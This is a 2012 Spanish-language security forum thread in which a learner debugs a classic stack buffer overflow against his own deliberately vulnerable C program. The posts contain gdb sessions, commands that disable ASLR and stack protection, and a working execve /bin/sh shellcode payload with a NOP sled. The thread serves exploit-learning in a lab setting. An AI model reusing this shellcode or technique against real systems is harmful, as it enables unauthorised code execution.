solo me falta saber porque no puedo saltar a la shell, que podria hago mal?

Iniciado por Belial & Grimoire, 17 Mayo 2012, 04:16 AM

0 Miembros y 1 Visitante están viendo este tema.

Belial & Grimoire

bueno ya creo logre avanzar pero ahora tengo el problema que no logre hacer funcionar el exploit

les dire los pasos que hago para ver si me pueden ayudar mas facilmente

primero desactivo randomize_va_space

Citarcat /proc/sys/kernel/randomize_va_space
0

compilo el archivo vulnerable de esta manera

Citargcc -ggdb --no-stack-protector vuln.c -o vuln

ejecuto gdb y meto la cantidad de "A" que son necesarios

Citar$(perl -e 'print "A" x 44 . "B" x 4')

Citar(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x41414141   0x41414141
(gdb)

lo que quiere decir que si pongo una shell tendria que quedar... "A" = 44 - 25 = 19

Citar$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Citar
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x80cd0bb0   0x80cd0bb0

Aqui es donde tengo que buscar donde esta RET, lo hago de esta manera

Citar$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) br overflow
Breakpoint 1 at 0x80483ea: file vuln.c, line 6.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln AAA

Breakpoint 1, overflow (badbeef=0xbffff602 "AAA") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) x/x buffer
0xbffff380:   0x00000000
(gdb)

al parecer es 0xbffff380: 0x00000000

pero aqui viene el problema si pongo eso no me aparce ninguna shell, que podria estar mal?

Citar$(perl -e 'print "\x90" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x80\xf3\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff380 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)


espero me puedan ayudar, abajo les dejo el codigo del archivo vulnerable

salu2

#include <stdio.h>
#include <string.h>

void overflow(char *badbeef){
char buffer[32];
strcpy(buffer, badbeef);
}

int main(int argc, char *argv[]){
overflow(argv[1]);
return 0;
}
.                                 

Ivanchuk

Hola Belial,
Probablemente la direccion de buffer haya cambiado porque la command line es differente. Mete un breakpoint en strcpy con la shellcode en la cmdline y fijate la dir de buffer.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

Belial & Grimoire

#2
hola Ivanchunk

pues ya intente ponerle un break a strcpy y no me da nada

tambien me di cuenta que me habia faltado

-z execstack

pero tampoco es ese el problema, ya no se que mas podria estar saliendo mal, alguna sugerencia?

salu2

------------------------

P.D.

ya estoy intentando con ubuntu 9.04 por si talvez era alguna actualizacion pero estoy teniendo el mismo problema

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vuln(char *buff){

char buffer[36];
strcpy(buffer, buff);
}

int main(int argc, char *argv[]){

vuln(argv[1]);

}
.